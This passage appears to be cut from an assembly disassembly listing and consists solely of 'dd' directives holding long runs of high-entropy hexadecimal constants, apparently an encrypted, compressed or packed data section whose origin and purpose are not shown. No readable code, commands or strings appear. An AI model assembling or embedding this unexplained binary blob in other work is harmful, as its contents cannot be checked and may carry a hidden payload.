0EB285B19h, 7B3CF63Bh, 0F03C1B41h, 8D33502h, 3E7426A0h dd 90365112h, 0E6A2BF7Eh, 0E066ED5Ah, 75DB67A0h, 81721700h dd 776804F3h, 870F3915h, 0EF504C59h, 0F1909756h, 8A3726B5h dd 91F38FDCh, 0E7CD0215h, 0D117346h, 0B35A460h, 64873Eh dd 5F58F7CFh, 0A4BD5576h, 92C097DDh, 11C937E9h, 348703C0h dd 58C281C1h, 30132C28h, 6544FFC3h, 9DBBA020h, 23D92BA8h dd 575CD76Bh, 6F85421Eh, 728085Dh, 0E98EE90Bh, 7DECEFE1h dd 9C3958FEh, 5D82503Ch, 8E70E994h, 0D1F5C3A0h, 62BFE828h dd 66822FB2h, 0FB0622EBh, 0C387CA47h, 0D7EE065Dh, 0E985FCE7h dd 31FBF05Ch, 1ADE41Fh, 2B71FE01h, 90840FB5h, 565E46ECh dd 79AA0E9h, 0FA055800h, 1063A77h, 252D42F8h, 52AD295Fh dd 86564C00h, 5704210h, 0A65FD12Dh, 7C328B81h, 0F3DAEB04h dd 8817F85Dh, 6D4D8C5Bh, 0E9AC5240h, 987A8B7Bh, 2655B208h dd 0F88F280h, 0EEA9E953h, 0F6EBD854h, 5EF65206h, 7BE9123Eh dd 1E533FA0h, 0EC567968h, 30481FDBh, 29F5EAC7h, 344E865Ch dd 61BEF134h, 20795BEh, 9A39D466h, 684013B7h, 0DC125F85h dd 0A3022954h, 901C4709h, 5EAEE9A3h, 0A0FB57B2h, 6CF66B88h dd 0B20115Eh, 0B777D068h, 5C71F459h, 0E9089E4Bh, 0FC2820B2h dd 0FE88C800h, 3EEC05Bh, 0E9D609F6h, 10C9CE01h, 0D2CCE12Ah dd 5AFA274Bh, 0DC61F642h, 21F9D4F5h, 3179C490h, 4F454D12h dd 34F2BF01h, 9E344947h dd 1FC102EFh, 0A4E93FA0h, 7DD40977h, 29104B8h, 6D28F589h dd 0CAF204Bh, 0B760B1FDh, 4112A9C4h, 13E9163Eh, 0DEC22284h dd 0F427C656h, 25E4A0ACh, 0ECCC15C1h, 0D79E4B31h, 0C8E2CDF3h dd 9CBD78A6h, 8D38939Bh, 502C7B62h, 87F89D54h, 6329F100h dd 0C1D2F777h, 810607EAh, 215047CAh, 7A1EE92Ch, 41B8BB53h dd 0AF18C44Bh, 38F96029h, 0B2BE1D85h, 21CDC217h, 0A0F455E2h dd 0B100A12Ch, 0F727ED37h, 957CC0DBh, 311D1293h, 405AD32Fh dd 12892DA4h, 0AF101FBDh, 0CBF84875h, 0D8274ED4h, 2F5AD639h dd 0F8E37052h, 41D75628h, 431880A1h, 817B9C1Fh, 37590BE5h dd 500A3D75h, 0E8BA006Ah, 0E901C6EBh, 4A6CF4B9h, 7F53411Ah dd 0C9E43B81h, 6030601Dh, 404E36A0h, 780C832Dh, 6344BFC3h dd 6FECE92Ch, 16BC79A4h, 6090AC9Fh, 481E5E55h, 44044869h dd 802A981Ch, 0BD296D3Fh, 1CC84958h, 7D5F30B4h, 0BD3F100h dd 3B8736EDh, 8E1F7D9h, 33C1DCE9h, 0F36813FAh, 532502A1h dd 142EDB7Ah, 0F468D5Fh, 269E3EA6h, 3C0BAAB9h, 8460F929h dd 7B926125h, 8E82E926h, 4715C340h, 293214CCh, 841FBCBh dd 29C14962h, 0EEEA68C3h, 0AD124CAFh, 3E5837DCh, 64841BB1h dd 71590C83h, 66012D22h, 381702B7h, 235A7E9h, 824DA32Eh dd 0F5B497E9h, 51FE4194h, 0BDA4488Ah, 52602BAh, 5B3FE918h dd 0E557CE99h, 125BCFB3h, 528506E8h, 0C0F293A5h, 3FE5C9CCh dd 4C2CAEA4h, 0EBD36A90h, 15B6C675h, 0E3E3F95Fh, 29272D5Ch dd 4F468122h, 0F3B3CA0Bh, 5F029192h, 404C652Ch, 150025CBh dd 0F76A53Ah, 89859082h, 762A2DCEh, 0F73CD709h, 0A860F46h dd 0F42708C1h, 0E9325624h, 57050B9Ch, 7B5D9869h, 0BADAE708h dd 0EE0CF396h, 0CB3A9E69h, 9CD74C52h, 0BF088729h, 30C7284Eh dd 0F5BFF061h, 0FC0128D4h, 590E2D85h, 54617141h, 0B94AE601h dd 0B0C81341h, 6FF876FDh, 685D0924h, 87514494h, 1A08BC26h dd 0C5BB3CA4h, 137EEEA7h, 681283A8h, 24342773h, 0C87B74FEh dd 0A7C26CA5h, 7D5EB353h, 71881682h, 0F6BECEF5h, 792BD057h dd 2C1830Fh, 9AD7F089h, 60E7D44Fh, 93685650h, 12B80517h dd 4A0FBFACh, 8920B931h, 0C818E9F0h, 0FEBF54C0h, 9D06CA62h dd 5F4AEA5Ah, 0E8E90961h, 2C80CA54h, 1FCF727Bh, 4BCB896Dh dd 683BD808h, 756871D1h, 0F74E6075h, 0C679D675h, 374A4CF6h dd 0B80348F3h, 384B6740h, 774CC2CBh, 5B4A496Eh, 0C3F4A19Dh dd 0E5FB9EFh, 4F4B489Fh, 7A5996E2h, 3F5AE049h, 7DB40216h dd 59CAE945h, 478922D5h, 448E5453h, 0A21D8820h, 2B4D41h dd 0FE0CA0B6h, 0E817B873h, 2FA853Eh, 7FE95D3Ah, 0BC9793D8h dd 0F9E8971Fh, 0A3C0791Fh, 0F452ABF2h, 0B0D9862h, 42E636BFh dd 23AA4286h, 5D63E107h, 0E7B25C1Dh, 8BCE7F99h, 68414496h dd 0E22E353Dh, 9425C40Dh, 0FC4B44ABh, 8ACC1E3Eh, 7004175Eh dd 51D80B2Ah, 8480E4B1h, 6D35E9CEh, 0FBB5380h, 41FC5928h dd 0A8F52E65h, 0D009A1F9h, 80CB600h, 0FE5AF70Fh, 9D0B84CFh dd 0FC5753BEh, 50C7436Bh, 0B649B725h, 5D58073Bh, 4FA2626Ch dd 88BC567Fh, 0AC398967h, 14428BF7h, 0F25B057Ch, 4E8A9165h dd 0BFC699EDh, 469D324Ch, 15B567A5h, 0FFF85451h, 510B1D87h dd 0C6FE63F5h, 0CB890495h, 27DAA263h, 9F88CC1h, 4DE30A81h dd 3EE68C6Bh, 39CFE785h, 6806AF90h, 5C717DE9h, 8B444C92h dd 0B75318ACh, 80E18462h, 1387C55Eh, 38DB877Bh, 5A5BDD02h dd 0DC8A2D92h, 0F705B44Eh, 75CD68E1h, 6221DBDDh, 0C93B1431h dd 6D430A4h, 619C4817h, 31AC1A01h, 0B200238Eh, 37C5019h dd 543ACF05h, 1FF43D9h, 4098BC7h, 2BB12EA0h, 0E4E2D93Ah dd 1A6CD1E9h, 48D6E20Eh, 20816BCDh, 0ED306B76h, 0D8712868h dd 252FC642h, 2ADE1D72h, 6E41BE40h, 0F11A4AFDh, 1CB640DEh dd 4307CA13h, 0FE9EA31h, 6521687Ch, 88896CDEh, 17B0D361h dd 0E17ED141h, 3ED2A23h, 4EE91240h, 0DC8C1385h, 3FEDEC0Ah dd 0BC580BE7h, 28254B20h, 6839F4D9h, 806F03D7h, 0E7997EC7h dd 7FCA21D2h, 53AD7717h, 3A755A8Bh, 0BDA0D03Bh, 2E5046EAh dd 812E916h, 0ABBD24FAh, 60DFCF50h, 4807BA52h, 8380BF91h dd 70F83CE4h, 0E34017FCh, 9494EC50h, 25EA2CA9h, 86107B58h dd 0F85B933Eh, 0C584F4C2h, 0F5210C83h, 9DF7C9A4h, 2865600Bh dd 0EE8C181h, 116CC831h, 0BE5B57CBh, 1E2D6884h, 5D27D314h dd 2513C211h, 965F2D7Fh, 58B210BCh, 0BDD45F5h, 1704E0D3h dd 0A03C4B39h, 5947ABC7h, 0ED811865h, 0E4E90DAAh, 0C5FFAE60h dd 58CD069Ah, 0AC05E425h, 0F1B590ECh, 9F998810h, 213B2C71h dd 0F4B03E6Eh, 0FCCFEB3h, 3188016h, 817657B4h, 6DF6EC24h dd 5A05F4E0h, 0E33015B3h, 0AA219699h, 6B2DF02Ah, 0BBB66290h dd 0C229DC2Dh, 0D1004A71h, 9FC23BEAh, 8C5B7B70h, 0F420B349h dd 22574B20h, 57F029E0h, 9F113023h, 7912575Eh, 0D744C4C8h dd 7F26BC5Bh, 97CDD888h, 42D22599h, 0A9292C45h, 0BA9E762h dd 0AF50C8E9h, 732C0593h, 0B1E95130h, 0BFEDB5F8h, 15662EA5h dd 0D72113D3h, 0F7F8F08h, 4CC43EB6h, 5E28FA83h, 49D88814h dd 7D8A8082h, 0C90DC43Ah, 0E14E5A34h, 14918950h, 8F69CC41h dd 0E9A0D14Ch, 22CB7A26h, 0D694D55Dh, 0F7DC41AAh, 76BB63C3h dd 0C5195A53h, 0AADDBBF6h, 0D0E9A310h, 0E4D0AA76h, 0C3776BCFh dd 45EBE37Bh, 0B95101F9h, 0C27B5350h, 5230C1CEh, 0B6EE556Eh dd 0B5E12FF8h, 0D04985DCh, 5B3CF0B3h, 406F3FEh, 0B14AF15Dh dd 0C823D2AFh, 0C87B9885h, 1F17AEABh, 6AEC5B45h, 781E3D01h dd 0C1870F3Bh, 0F37B8Ch, 0C3CA8081h, 0FFE26A5Eh, 0EF84FE90h dd 9D061668h, 9F927502h, 0FD4665F1h, 9EE93E3Dh, 5A8905Bh dd 802F850Fh, 0F4505A58h, 95F1DB5h, 0C5C39D3Dh, 0FFCBF7B1h dd 0A1228A71h, 0E6E70B28h, 0C19F61FDh, 0C22FD9A0h, 0C0405B97h dd 17133E99h, 4EFEE946h, 74C4554Eh, 0C6EFECBEh, 0D5F8503h dd 825892F6h, 8F63D28Fh, 71F301C1h, 8808050Bh, 55D63966h dd 0D83E6A9Dh, 0E927F017h, 0D7238965h, 6BF85734h, 0E98403BBh dd 5D05E281h, 93FEC87h, 0F43A0457h, 0B93409E9h, 2CCC9075h dd 0AB6D95A0h, 44E880A5h, 510CCE11h, 0E53A9221h, 8D53CC28h dd 5CBD803Eh, 994E2815h, 1F36204Dh, 0F1814FB1h, 59CB8869h dd 5876C3D8h, 5D4CE630h, 703CE34Ah, 20EEF84Ah, 0CF51E957h dd 4BA54494h, 0D0D3DA11h, 0F6871D3h, 5E65402Ah, 0FC563369h dd 5212E0ADh, 0E57D8A7Bh, 3B39AA25h, 0DA61AA3h, 116A020Ah dd 0E15F61EAh, 0F160F720h, 8055C315h, 0EB9965E3h, 2CC2972Fh dd 0E9B7D302h, 0B549501Dh, 0C3F40FC4h, 18992A92h, 0E18FE9E1h dd 48BA603Eh, 4302A72Dh, 27E94E3Eh, 3A7A4C71h, 5D636988h dd 0D73B50CAh, 80093FC5h, 0E8895F45h, 5061005h, 0F8291D74h dd 2807142Dh, 0E750104h, 3F11C06Fh, 40E5FD09h, 313264F0h dd 165E7A49h, 57046939h, 5B00DBB8h, 0C003782Dh, 28106A4Ch dd 595A0705h, 0C987F12Ch, 0EC8201B9h, 70B68F8h, 0C533909Ah dd 0DD76D9CBh, 431EE207h, 1D82D059h, 5558A14Fh, 0BC408B71h dd 3A08E427h, 0BD8563BAh, 0ADF2014Fh, 13854F7Dh, 39668ECCh dd 6889F9F7h, 0A6E0E4Dh, 0E146B534h, 53A092ACh, 744025E9h dd 92C70B0h, 0F98858C7h, 0F4E8AA02h, 52D95E05h, 0FA2D0943h dd 356D6F0h, 0FBC18141h, 68B0A688h, 9114EA2Ah, 8EF2EE20h dd 0B6B963Ch, 969B6C62h dd 9215B4C1h, 1785963Bh, 0B0D83AADh, 0CF837577h, 0E9C0B65h dd 40CB41A2h, 0D879DEE0h, 0E1814F0Eh, 271204EBh, 0D35941EEh dd 8914F46Ah, 84490844h, 5DAE5175h, 599C68C5h, 665029C8h dd 71C6E6A2h, 0B6F04B20h, 903B101Eh, 680C6B48h, 658B5FB3h dd 2D40C65Fh, 54744361h, 0C70EC14Ah, 8016C341h, 8A1B550Ch dd 0A4D589F9h, 7D80B72Ch, 73F7BF57h, 0DA569024h, 91D9BA00h dd 926AE9F5h, 6BF8BDAAh, 8B3D45B5h, 6D785FE9h, 0D830AC02h dd 4129B753h, 0E660C24Fh, 1BCB9CAh, 3BBA3534h, 4641CC52h dd 25E81C4Eh, 0E3B9BE05h, 1827E9AEh, 0F1D3F482h, 5016F292h dd 475FD76h, 0E9D41F21h, 0FB3A0BCh, 31C8805Eh, 9D1CBAB0h dd 0CA20F8CFh, 0D6D1B14Bh, 9663D40Fh, 78145B31h, 0D2BF059Eh dd 0B27E9D68h, 0D857B901h, 857EFDCFh, 0A3D3944Dh, 42A25F8Bh dd 2AC4FF3Ah, 0B26E4541h, 6CB85E9Ch, 12842584h, 0BB7D34BFh dd 7255A900h, 6B351074h, 2A710B51h, 5A8EE12Dh, 0BEF32620h dd 1E562DF8h, 6D92330Dh, 0F20016Bh, 62634084h, 7BAB1C42h dd 830B3DDFh, 257FDEB0h, 0E7E25056h, 0C9BD2065h, 2F0AD326h dd 0F74B5D68h, 1EEC3F9Dh, 0DE3D7B40h, 0DD892DF5h, 0EB64DD71h dd 6ED02DFBh, 417E33E0h, 59596086h, 0CA2BFE41h, 0D5B0793Eh dd 0F4976A5Fh, 566B360h, 7AD5A06Fh, 0E6D58ABAh, 0C7CA77C1h dd 743F2C16h, 0F712BE92h, 27F369FBh, 0C2502654h, 0F468FB02h dd 18665562h, 74A9E89Dh, 74EB2FAh, 6F0B279Fh, 0F3CBBF56h dd 1062F8F4h, 890F01DDh, 56AA5274h, 44AF7E40h, 0BE7A200Fh dd 96B781A4h, 0F03BC08Bh, 0E2405A08h, 4BA8EC52h, 109DA3D6h dd 2D027F6Fh, 6EF96C2Fh, 0C587D882h, 0C448E901h, 5E79DC7Eh dd 5693AB95h, 9407C220h, 7603360Ah, 603E374Bh, 0D4250468h dd 42613306h, 95682D0Eh, 0A620CAC1h, 0A746024Ah, 43CDE901h dd 0B65ABE5Ah, 75DF4AB9h, 873AED1Fh, 8540F0B0h, 5B1A860Fh dd 7800B906h, 0D8B98B5Eh, 18D51069h, 7127EEA9h, 17D0075h dd 3EBD55D6h, 187E1358h, 425CED01h, 0E5D16756h, 25E957D0h dd 25A649F6h, 539D876Ch, 60343E97h, 0E1FBA119h, 3E51E258h dd 81D0B488h, 25AAF5F7h, 75E56F68h, 45B4A57Fh, 0CA51D085h dd 8A586F8Eh, 3BC20051h, 1F24EE7h, 69204C57h, 0D72B3434h dd 0AF698303h, 0F5BF1006h, 20B89E2Dh, 997FAF7h, 2E8F46A0h dd 3F77DFB6h, 0CBE64CF3h, 0F387A813h, 0D2512861h, 47A8024Ah dd 52C809B4h, 85E9B776h, 19D1E643h, 310D038Fh, 809F84B8h dd 3D8128F4h, 0CF6FCBCCh, 58341034h, 0E668570Bh, 66C0BF5h dd 0A104DFF4h, 887A60DEh, 5FD88C4h, 106F7005h, 4D1F44FBh dd 0B3A912E1h, 92FCC184h, 0F6F4396Eh, 0E546F625h, 7C47BCF6h dd 160A18BFh, 2C88895Ah, 76320502h, 3BC2094Eh, 9B085D4Fh dd 0E14B00EFh, 0FA012E16h, 58329AC6h, 87342A3Ch, 52E509F8h dd 0B2720CC7h, 0CD8FBAC5h, 785F9E41h, 0B4543039h, 53360481h dd 52E30507h, 97B6EDD0h, 6B1A49EEh, 4A7CAECEh, 0F06F95Dh dd 0C612C5Ah, 4B29E1C7h, 11D9F6F1h, 0EC4AED08h, 78B2C4FCh dd 0F65B0913h, 472F6945h, 5DE4ADCDh, 6E41D22Fh, 65E59D12h dd 0F11056A4h, 0BA16E05Bh, 0ADA7E9F1h, 50F4027h, 88820A98h dd 9BD89A4h, 10F77C01h, 0B4DAE942h, 6F5D1FBBh, 0F4FE6FEEh dd 1E9B4849h, 850802E6h, 0D75E2DF3h, 91F7E0F8h, 0FAAA3BEFh dd 0C2FE39B5h, 0A5ADCA3Ch, 96F50762h, 0BE9B9028h, 33575AB3h dd 2460E065h, 2D734C38h, 840EA48h, 84D35029h, 49CECh, 0A0239BBh dd 0EB1FC120h, 0FC025108h, 0FC06AA58h, 23092D7Dh, 2F655F69h dd 0E9DA954Eh, 58EEA049h, 67FA25h, 0DB35024Dh, 896C3F01h dd 8E30C35Ah, 903242B9h, 0D93106C0h, 0E95754E9h, 0C82DF705h dd 57C4CCD3h, 0F06EA1C9h, 0FC5A52F0h, 37C4C0E8h, 3CEB1344h dd 405BC212h, 0EFB5F7B9h, 42E9F316h, 7C3CD2D7h, 0CF7A9857h dd 1311D277h, 17681D0h, 0CD8B7EC6h, 0B5F1B85Eh, 21AFEF17h dd 0B4C3E9h, 2E70F0BBh, 827A3EAEh, 29107873h, 0B12627Dh dd 3BB35D08h, 410BC6E0h, 8012527h, 912608EBh, 637EF01h dd 39FC0571h, 0A6CD66A8h, 5D4AA958h, 0BCE5C9BDh, 0C891E20Fh dd 38853554h, 311B1B69h, 9FF953C1h, 0A5442ACEh, 161255D5h dd 87D203FFh, 1300D370h, 0F388C4F6h, 9F0624E9h, 57004FC5h dd 0D3B22BFh, 0E294C00Bh, 1F4F2C4h, 2CA6FD5Ch, 0E1CB2461h dd 0E90C5279h, 67C3EB5Ah, 5E8CB141h, 0F8D4174h, 1132A43h dd 240705EAh, 0D067178Dh, 0EA4BE059h, 0D6425424h, 0A343800h dd 0D2D8E910h, 12405EABh, 0F79181B6h, 0CCEA60DDh, 0EA7D2DF6h dd 4E1E9559h, 450327E2h, 556BC705h, 1F4BD4FAh, 2F3F78A9h dd 41DE3628h, 0CCF9444Ch, 38F006C0h, 3A88FC5Fh, 4DBDF650h dd 0F9026682h, 5B775545h, 0F803D941h, 5FC083CCh, 0F717B4C5h dd 90B9030h, 0E8CD1DC3h, 319E99D3h, 6DAEE984h, 0C1C63CD2h dd 0B8DE1D66h, 8EC1C0E3h, 5067CD94h, 0C2B5D897h, 0F58853BDh dd 95F68180h, 0B5461B7Ah, 8EF541E2h, 805229BCh, 8E558533h dd 0E0295E34h, 8B75986h, 1070C25h, 2209E9F1h, 4131ADF7h dd 0CA65F2A2h, 165B6878h, 0E355FC71h, 0BC3B4F70h, 2F04C72Eh dd 77FDDFD2h, 0E82757CEh, 0D0ED7C5Dh, 307A5F3h, 0BB533862h dd 5C81373Ch, 8A13B7EBh, 104F1254h, 0E93808B4h, 994BB8AFh dd 9263CDB9h, 42B8EF0Fh, 5F3922D3h, 0DD05B1E3h, 4D77860Fh dd 0C0A960EEh, 6C007E2h, 5BCDB302h, 3E4C33E9h, 1C3DA57h dd 0D15A0676h, 0E0105EE2h, 82A14BD2h, 124CA283h, 0F5B73565h dd 5921FCBCh, 0DD0C9300h, 58D735F8h, 915C3D5Ah, 0CF7C8889h dd 263D282Bh, 5CF57F8h, 0BEC158C1h, 9D2F6DEDh, 0BEB7F092h dd 0F2D7F627h, 88250B3Bh, 0DA875BFCh, 0E9E560D2h, 63B6760Dh dd 68801498h, 0A3256228h, 0A8459A21h, 0D407A43Dh, 2CD0F680h dd 75C388F7h, 0B1915B58h, 9A5DD20Fh, 0AA5A4B6Fh, 916D4A0h dd 35FFDB1h, 2804368h, 0A74FC15Fh, 5B5D89C8h, 4B879979h dd 5707F2BDh, 0FE819962h, 0F68B4102h, 800850E3h, 480F37Fh dd 5488F01Eh, 6934BB41h, 2C92AE37h, 6853A901h, 47E33F0Dh dd 0FBDF7573h, 8EEB982Eh, 5C5B0D9Ah, 0C8851F3h, 3A5D6C08h dd 985B5995h, 29BDC116h, 4EA94B95h, 0E091D7F8h, 6AA88E4Ah dd 12052F66h, 23AC7851h, 0C4383B02h, 1D608127h, 0E19C1362h dd 0F8CB722Dh, 46BB3AE3h, 2583F87Bh, 785E4EDCh, 6D90E0E9h dd 202493E2h, 0BD60A080h, 0B43B1E5h, 0AF51F8E7h, 0B9F48492h dd 17580CCBh, 3D720966h, 206055ECh, 1254AF0Ch, 521DB060h dd 1503FA7Ah, 5E0AA209h, 0ED38C68Dh, 9351593Bh, 67FF0E4Eh dd 5C76A33Ah, 0A891874Eh, 2901BAA3h, 648EFD5h, 0F6BC4BCEh dd 0FB4E5B84h, 5709AD8Eh, 0F9845F54h, 89F3F0CCh, 25059CB7h dd 0DDD0485Eh, 0BD81AA7Bh, 25BA22D4h, 147D8951h, 54680485h dd 0C3C7464Bh, 3506408Fh, 47640E18h, 48B901A2h, 0A9E9BEBBh dd 0DCA758E4h, 3BB2845Fh, 23057302h, 0F3604E2Ch, 0C4027C40h dd 68A0F4Bh, 9890FD77h, 0B6408180h, 0CB287FE9h, 6654E7D1h dd 95FC8F58h, 8319A73h, 0F44238B4h, 81A4F503h, 8B290B3Bh dd 47647E70h, 0A47FE256h, 46C4ABh, 5FFD2916h, 0BE6228BEh dd 0CE729902h, 0FD96E965h, 84CB93A4h, 1C91BFF2h, 1C680389h dd 2ED4ADA5h, 0BD81E862h, 71F9072Eh, 0EC278120h, 0E91E1AD3h dd 2A833131h dd 63E055B0h, 241F4F89h, 0D2C55A59h, 8CEB9768h, 5E4B5458h dd 0EBD272E3h, 19318B29h, 59DE1DA5h, 4E3FCA01h, 1187364Dh dd 0E05C89C2h, 5EAE968h, 0A1B92EE1h, 305077CBh, 0A44F4191h dd 28EF075Fh, 0F327682Ch, 7003542Ah, 94A0EE9h, 3482B874h dd 0E3A40EC3h, 0CD41FBC8h, 2B404F1Fh, 0FC07EAFCh, 0B092BA7Dh dd 5800F02h, 6C6D3DBCh, 5F998253h, 55445668h, 0E19B281Eh dd 55C3E96Eh, 3AB19840h, 0D36E2881h, 0F399333Ch, 588A2AA2h dd 1D7DAD4Bh, 0E6525AF4h, 305BD660h, 4AF3B7F0h, 41335D25h dd 52B21A01h, 0E9EFC380h, 0C84BEBE2h, 256F1D68h, 0ED45135Ch dd 0DB0C3524h, 1E2C2A47h, 49C6887Dh, 839B75BFh, 83854C2Ch dd 82544558h, 0D5AD91FFh, 2D22133Eh, 4337210Ch, 9576BAF6h dd 0C72FE32h, 20F5525Bh, 449D6D56h, 6ACEF51Dh, 69428260h dd 5E92F78Ah, 64B8741h, 8868150Eh, 0D6643845h, 39AE452h dd 0D12B1998h, 0E9044FECh, 12B8C002h, 0EA0D23C2h, 6FFD8C82h dd 2885F909h, 378200F7h, 0F7817B05h, 4F2721A9h, 253CF453h dd 0EF0BAAD0h, 711E7466h, 25BB00DAh, 0DDE98B6Fh, 0B1E4B741h dd 16612C0Fh, 0B2062041h, 0EEAF2AEh, 50D92956h, 0CE10EE72h dd 94872E08h, 96102226h, 0A7115826h, 0FC27F8F6h, 9260D28Bh dd 0B75C6B11h, 0E9F305B3h, 0C98A783Dh, 8440AD5Ah, 5CE5AD6h dd 3B66391Bh, 5BFA80B0h, 8E01032Fh, 51897E03h, 2E985FFEh dd 0C59FB340h, 2B8890Bh, 77EA9ADFh, 0E9E13E98h, 2ACDC825h dd 0EA02D56Bh, 0C033801Eh, 2A187D04h, 0E6EE31FAh, 110258EEh dd 2616CE03h, 0AEB73B82h, 3FF62F62h, 0D25368F5h, 0D1BA8085h dd 1BAC6800h, 607CF281h, 0B428500Fh, 0D2F35C5Ah, 25A7012Ch dd 0DEBE5F02h, 164FCFF2h, 57D1A84Bh, 3C08CF17h, 0A74249Ah dd 698D3E1Ah, 5B3F3C55h, 5523B45Ch, 0A4BCE927h, 53BEBAF8h dd 0F953C6h, 0A47ECEA6h, 0CD780178h, 4108ED51h, 49DC1E62h dd 4A3762D7h, 56BC780Bh, 96F7C983h, 197DF367h, 944A2D76h dd 0CD5171FCh, 2C96EC7Ch, 2294291Dh, 78BB5096h, 0EC27E997h dd 168A644Eh, 0D671F08Dh, 1D26CABEh, 66604AF6h, 0E941942Dh dd 51AF64BBh, 1431D054h, 152B2CE9h, 0CB4E5B66h, 14344A3Bh dd 82F495BDh, 5B07F2E4h, 0CFE0C665h, 695D9166h, 0EC9994F7h dd 9E1BB02h, 6E55ED9Fh, 756813AFh, 0D25F6136h, 0A2BD0039h dd 0E3824C4Dh, 302AB417h, 11FDBB64h, 0E9792804h, 5BA7BDA6h dd 1367A34Eh, 0D8085FF9h, 0A6581684h, 47B95EF2h, 0C7B6A10h dd 0FB0C8F68h, 417F4A13h, 0D61EB195h, 7F042F3Eh, 98E377F3h dd 0EAC20225h, 34D6888Bh, 15C2574h, 371A0268h, 0C81CF680h dd 6AA61113h, 9D08A716h, 20E9C28Bh, 4A4142CAh, 36F8E032h dd 809C72B6h, 0D528CD87h, 0A1D4F1C5h, 8FEF9885h, 500B42C0h dd 0DC31E9BFh, 5D5436A9h, 9C59A7Eh, 8B0BE8C1h, 9F14D547h dd 0FEAC544Ah, 8140823Ch, 608EE206h, 90C6E70h, 29074C85h dd 0F41AB00h, 212515E6h, 92A7F0CAh, 0EE36CBA5h, 0E9C1A15Dh dd 8B519D32h, 7CE01FE7h, 5FA7C9EFh, 0E689CF32h, 0E98905D4h dd 25475CEEh, 8E20A66Ch, 2CAC1EE2h, 90D713BBh, 0C49EB78h dd 0E39BA3Bh, 49136AF3h, 0A2EFC257h, 5476BFFCh, 9B666216h dd 0DFCF8902h, 35594041h, 0E706A6CEh, 0FF70F90Bh, 8BB7FB1h dd 2FC94586h, 4FF06B87h, 4B5B2535h, 8318E329h, 0C230E9h dd 7ED8BE34h, 0DE2978F5h, 53AB5B4Ah, 3C6BE9CEh, 0C6C0C177h dd 58F4E580h, 0FC50EC28h, 0E6394BF4h, 5FAE11D2h, 0BCFF598Bh dd 0DCEE4CB0h, 78BB9DD8h, 4FAE7A01h, 5726E943h, 0B88E6C38h dd 267E0BC7h, 816EC29h, 64EE0158h, 0F9111272h, 15D54EFEh dd 3586E406h, 0A4DE974Eh, 0B7B70278h, 749F7322h, 8418430Ah dd 4B5BA19h, 0F7133F40h, 0B1D180D2h, 7D5AC30Ch, 2ECB95F0h dd 0AC026A83h, 0B44E15D6h, 813A092Ch, 0A632FBCDh, 0EF837E26h dd 0D4888280h, 492D7Eh, 0AAF65486h, 94E226E4h, 4572534h dd 3CE0E726h, 5AF37288h, 66BCF4D1h, 0E7C76824h, 1CD3708h dd 4598F2Ch, 5D057A1Dh, 0D96086CAh, 9FD26850h, 0E7451542h dd 0C113F64Bh, 7880EAE9h, 6CB785C5h, 90C719A0h, 7F57FB0h dd 0B6521AEFh, 0F7D6D7C5h, 0AACEF4DEh, 0B5CF91B2h, 7A4D4F7Bh dd 3F92D696h, 0DAE4C05Dh, 5ED52F07h, 40087CE9h, 0A12AF4BEh dd 5AB52ED0h, 35D25EE2h, 6BB6A5EBh, 0A51199B1h, 876A51E7h dd 0C1E1656Fh, 0A56B533Bh, 0B0F85893h, 0F4349BDh, 0AE0FC44Eh dd 0A4FF0E8Dh, 0A17F29F5h, 6BA52B05h, 52C4EF32h, 0F319FC58h dd 79D5CCE9h, 688256ADh, 0CB7610A7h, 1C655860h, 0F796A24Fh dd 0BB53CD48h, 0B0261F02h, 60D8294Ch, 0A105C802h, 0F7DA590Ah dd 2B41F06Ah, 4DEE338Ch, 624E4C8h, 4B788C2h, 33F5C25Ch dd 0C5CA8802h, 0EA808712h, 2A2E0B12h, 0D2F658A1h, 0EC093AFEh dd 778E6E51h, 1955902Ch, 3E2EB252h, 5AD0C0ADh, 45420CB6h dd 95866662h, 5D5A387Ch, 44AF1D65h, 26AE1C68h, 9775A5A2h dd 0E9083186h, 94FDC6BDh, 0B7524A32h, 0A868C27Eh, 0AB4D725h dd 8D60E92Eh, 4BF2A5BAh, 3991AFB8h, 0EA703806h, 23B8625Ch dd 4CD1EA5Bh, 0E089F99Eh, 52E869D1h, 20B4A62Ah, 0B8E19FEAh dd 31FEF2C3h, 1F305C79h, 0B42D4A9Bh, 0E91853FCh, 0E8795F18h dd 4A5D8132h, 70BBD798h, 0A8E9DDE8h, 943D844Dh, 0EDF130BEh dd 2F7C3CC6h, 13DA1B65h, 4E32B12Fh, 74F99DABh, 425A76CBh dd 0F620BF10h, 0F3956C1Eh, 85B0C488h, 90B8C20h, 0F7316F14h dd 0F887CB07h, 0E339D027h, 97FF13Ah, 0D7953067h, 4EB33791h dd 41354C94h, 0A7AC7196h, 1D6800FCh, 175C284Ch, 78F260BDh dd 0DAF77E77h, 5E6102B5h, 0EC36C492h, 50149EB4h, 8980A884h dd 5F522EC2h, 3158C241h, 0C0954CFAh, 1328829Ah, 0A85D292Ah dd 0AFE98397h, 8E455852h, 782C064h, 0BF35553h, 0E01F3F9Ch dd 0B87E6316h, 538BC179h, 0E20045FCh, 80481858h, 6A651058h dd 0DF31B91Fh, 47137D74h, 55C0F576h, 3D0B8CB8h, 76A91B5Eh dd 0BB2C749Eh, 4D7FCF8Bh, 0AC3B2F22h, 59E21B27h, 0CEC8D45Bh dd 25AF0A0h, 0B9A56EBCh, 68129816h, 54415D2Fh, 1F79F6D6h dd 4EBEE9C1h, 47221E41h, 0A4ED4A75h, 9549FACh, 94802902h dd 2891EDEBh, 0C586D94Bh, 0F9E52041h, 7468BA04h, 18AE5663h dd 35AC46D3h, 0CC2B5F81h, 6838FDDCh, 0F0B8CA0Eh, 140152C0h dd 0D65BE97Dh, 0FC7E8F4h, 171F7C72h, 0E3EA1365h, 39C29954h dd 9231A93Ah, 1A765501h, 0B7211C41h, 8049E31h, 0EC489EFDh dd 409F1B10h, 6E009C8Ch, 8F0D2164h, 3F145Eh, 0A31AF32Dh dd 6E8C10Ah, 83F7E910h, 7D225B28h, 5271BC21h, 5616CF5Ah dd 17AD5E54h, 0CFC3E9F0h, 440BC093h, 8465D3A2h, 98175868h dd 0C641E231h, 6E12EE85h, 0EE82BB82h, 0A195D2BBh, 586F58C1h dd 4B694C3Fh, 34061F27h, 64CFAE7Eh, 825B0B3Ch, 0BF006EFBh dd 1F57753h, 73EF814Fh, 3FEDC029h, 9D0412C5h, 890442A1h dd 12D8BDF1h, 7CD5B64h, 0F60290E9h, 6C1385D4h, 463D4AAh dd 2E6A289h, 571D2168h, 2ECDC018h, 0A0604226h, 3AD48D13h dd 0FB1F5EFAh, 0D9FFD532h, 80472E7Fh, 30AC2911h, 0B14A25E9h dd 